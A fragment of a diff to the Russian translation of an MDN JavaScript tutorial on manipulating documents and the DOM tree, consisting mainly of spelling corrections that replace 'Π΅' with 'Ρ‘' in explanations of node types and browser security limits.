ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ сСбС, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-сайт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ вашим сохранСнным паролям ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π²ΠΎΠΉΡ‚ΠΈ Π½Π° Π²Π΅Π±-сайты Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ это Π±Ρ‹Π»ΠΈ Π²Ρ‹?</p>
+<p>Π’Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ - ΠΎΡ‡Π΅Π½ΡŒ слоТныС части ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния с мноТСством двиТущихся частСй, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΈΠ»ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ с использованиСм JavaScript. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ ограничСния - это ΠΏΠ»ΠΎΡ…ΠΎ, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΏΠΎ ΡƒΠ²Π°ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ (Π² основном Ρ€Π°Π΄ΠΈ бСзопасности). ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ сСбС, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-сайт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ вашим сохранённым паролям ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π²ΠΎΠΉΡ‚ΠΈ Π½Π° Π²Π΅Π±-сайты Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ это Π±Ρ‹Π»ΠΈ Π²Ρ‹?</p>
-<p>НСсмотря Π½Π° ограничСния, Web API ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π΄Π°ΡŽΡ‚ Π½Π°ΠΌ доступ ΠΊ мноТСству Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Π΅Π»Π°Ρ‚ΡŒ с Π²Π΅Π±-страницами. Π•ΡΡ‚ΡŒ нСсколько Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Ρ… ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ², Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ рСгулярно ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π² своСм ΠΊΠΎΠ΄Π΅. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ, которая прСдставляСт основныС части Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, нСпосрСдствСнно ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π² просмотрС Π²Π΅Π±-страниц:</p>
+<p>НСсмотря Π½Π° ограничСния, Web API ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π΄Π°ΡŽΡ‚ Π½Π°ΠΌ доступ ΠΊ мноТСству Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Π΅Π»Π°Ρ‚ΡŒ с Π²Π΅Π±-страницами. Π•ΡΡ‚ΡŒ нСсколько Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Ρ… ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ², Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ рСгулярно ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π² своём ΠΊΠΎΠ΄Π΅. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ, которая прСдставляСт основныС части Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, нСпосрСдствСнно ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π² просмотрС Π²Π΅Π±-страниц:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14557/document-window-navigator.png" style="display: block; margin: 0 auto;"></p>
@@ -49,7 +49,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
<p>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π²Π°ΡˆΠΈΡ… Π²ΠΊΠ»Π°Π΄ΠΎΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, прСдставлСн ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎΠΉ модСлью Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π­Ρ‚ΠΎ прСдставлСниС Β«Π΄Ρ€Π΅Π²ΠΎΠ²ΠΈΠ΄Π½ΠΎΠΉ структуры», созданноС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ позволяСт Π»Π΅Π³ΠΊΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ структурС HTML с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ языков программирования - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сам Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ для примСнСния стиля ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ элСмСнтам, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ страницу, Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ (ΠΊΠ°ΠΊ Π’Ρ‹) ΠΌΠΎΠ³ΡƒΡ‚ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ DOM с JavaScript послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ страница Π±Ρ‹Π»Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π°.</p>
-<p>ΠœΡ‹ создали ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ страницу ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π² <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">см. Ρ‚Π°ΠΊΠΆΠ΅ live</a>). ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ это Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ - это ΠΎΡ‡Π΅Π½ΡŒ простая страница, содСрТащая элСмСнт {{htmlelement("section")}}, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β ΠΈ Π°Π±Π·Π°Ρ† со ссылкой Π²Π½ΡƒΡ‚Ρ€ΠΈ. Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ HTML выглядит Ρ‚Π°ΠΊ:</p>
+<p>ΠœΡ‹ создали ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ страницу ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π² <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">см. Ρ‚Π°ΠΊΠΆΠ΅ live</a>). ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ это Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ - это ΠΎΡ‡Π΅Π½ΡŒ простая страница, содСрТащая элСмСнт {{htmlelement("section")}}, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β ΠΈ Π°Π±Π·Π°Ρ† со ссылкой Π²Π½ΡƒΡ‚Ρ€ΠΈ. Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ HTML выглядит Ρ‚Π°ΠΊ:</p>
<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
&lt;html&gt;
@@ -73,23 +73,23 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Π­Ρ‚Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° Π΄Π΅Ρ€Π΅Π²Π° DOM Π±Ρ‹Π»Π° создана с использованиСм <a href="https://software.hixie.ch/utilities/js/live-dom-viewer/">Live DOM viewer</a> Π―Π½Π° Π₯иксона.</p>
</div>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ здСсь, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΈ Π±ΠΈΡ‚ тСкста Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ запись Π² Π΄Π΅Ρ€Π΅Π²Π΅ - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… называСтся <strong>ΡƒΠ·Π»ΠΎΠΌ</strong> (<strong>node)</strong>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°ΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ для описания Ρ‚ΠΈΠΏΠ° ΡƒΠ·Π»Π°, ΠΈ ΠΈΡ… ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π² Π΄Π΅Ρ€Π΅Π²Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ здСсь, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΈ Π±ΠΈΡ‚ тСкста Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ запись Π² Π΄Π΅Ρ€Π΅Π²Π΅ - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… называСтся <strong>ΡƒΠ·Π»ΠΎΠΌ</strong> (<strong>node)</strong>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°ΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ для описания Ρ‚ΠΈΠΏΠ° ΡƒΠ·Π»Π°, ΠΈ ΠΈΡ… ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π² Π΄Π΅Ρ€Π΅Π²Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°:</p>
<ul>
<li><strong>Element node</strong>: элСмСнт, ΠΊΠ°ΠΊ ΠΎΠ½ сущСствуСт Π² DOM.</li>
<li><strong>Root node</strong>: Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ ΡƒΠ·Π΅Π» Π² Π΄Π΅Ρ€Π΅Π²Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² случаС <code>HTML</code> всСгда являСтся ΡƒΠ·Π»ΠΎΠΌ HTML (Π΄Ρ€ΡƒΠ³ΠΈΠ΅ словари Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ SVG ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ XML, Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΊΠΎΡ€Π½Π΅Π²Ρ‹Π΅ элСмСнты)..</li>
- <li><strong>Child node</strong>: ΡƒΠ·Π΅Π» <em>нСпосрСдствСнно</em> Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. НапримСр, <code>IMG</code> являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>SECTION</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</li>
- <li><strong>Descendant node</strong> (ΡƒΠ·Π΅Π» ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ): ΡƒΠ·Π΅Π» Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта. НапримСр, <code>IMG</code> являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>SECTION</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈ ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ являСтся ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ для родитСля <code>SECTION</code>. <code>IMG</code> Π½Π΅ являСтся Ρ€Π΅Π±Π΅Π½ΠΊΠΎΠΌ <code>BODY</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ находится Π½Π° Π΄Π²ΡƒΡ… уровнях Π½ΠΈΠΆΠ΅ Π΄Π΅Ρ€Π΅Π²Π° Π² Π΄Π΅Ρ€Π΅Π²Π΅, Π½ΠΎ ΠΎΠ½ являСтся ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ <code>BODY</code>.</li>
- <li><strong>Parent node</strong>: ΡƒΠ·Π΅Π», Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π». НапримСр, <code>BODY</code> являСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ ΡƒΠ·Π»ΠΎΠΌ <code>SECTION</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</li>
- <li><strong>Sibling nodes</strong> (ΠΎΠ΄Π½ΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΉ ΡƒΠ·Π΅Π»): ΡƒΠ·Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ располоТСны Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ Π² Π΄Π΅Ρ€Π΅Π²Π΅ DOM. НапримСр, <code>IMG</code> ΠΈ <code>P</code> ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±Ρ€Π°Ρ‚ΡŒΡΠΌΠΈ ΠΈ сСстрами Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</li>
+ <li><strong>Child node</strong>: ΡƒΠ·Π΅Π» <em>нСпосрСдствСнно</em> Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. НапримСр, <code>IMG</code> являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>SECTION</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</li>
+ <li><strong>Descendant node</strong> (ΡƒΠ·Π΅Π» ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ): ΡƒΠ·Π΅Π» Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта. НапримСр, <code>IMG</code> являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>SECTION</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈ ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ являСтся ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ для родитСля <code>SECTION</code>. <code>IMG</code> Π½Π΅ являСтся Ρ€Π΅Π±Ρ‘Π½ΠΊΠΎΠΌ <code>BODY</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ находится Π½Π° Π΄Π²ΡƒΡ… уровнях Π½ΠΈΠΆΠ΅ Π΄Π΅Ρ€Π΅Π²Π° Π² Π΄Π΅Ρ€Π΅Π²Π΅, Π½ΠΎ ΠΎΠ½ являСтся ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ <code>BODY</code>.</li>
+ <li><strong>Parent node</strong>: ΡƒΠ·Π΅Π», Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π». НапримСр, <code>BODY</code> являСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ ΡƒΠ·Π»ΠΎΠΌ <code>SECTION</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</li>
+ <li><strong>Sibling nodes</strong> (ΠΎΠ΄Π½ΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΉ ΡƒΠ·Π΅Π»): ΡƒΠ·Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ располоТСны Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ Π² Π΄Π΅Ρ€Π΅Π²Π΅ DOM. НапримСр, <code>IMG</code> ΠΈ <code>P</code> ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±Ρ€Π°Ρ‚ΡŒΡΠΌΠΈ ΠΈ сёстрами Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</li>
<li><strong>Text node</strong>: ΡƒΠ·Π΅Π», содСрТащий Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку.</li>
</ul>
-<p>ПолСзно ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с этой Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с DOM, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ ΠΊΠΎΠ΄Π°, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΈΡ….. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ с Π½ΠΈΠΌΠΈ, Ссли Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ CSS (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сСлСктор ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ², Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ сСлСктор).</p>
+<p>ПолСзно ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с этой Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с DOM, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ ΠΊΠΎΠ΄Π°, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΈΡ….. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ с Π½ΠΈΠΌΠΈ, Ссли Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ CSS (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сСлСктор ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ², Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ сСлСктор).</p>
<h2 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_основы_управлСния_структурой_DOM">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: основы управлСния структурой DOM</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ структуры DOM, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с практичСского ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ структуры DOM, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с практичСского ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
<ol>
<li>Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию страницы <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html page</a> ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ вмСстС с Π½ΠΈΠΌ.</li>
@@ -97,7 +97,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
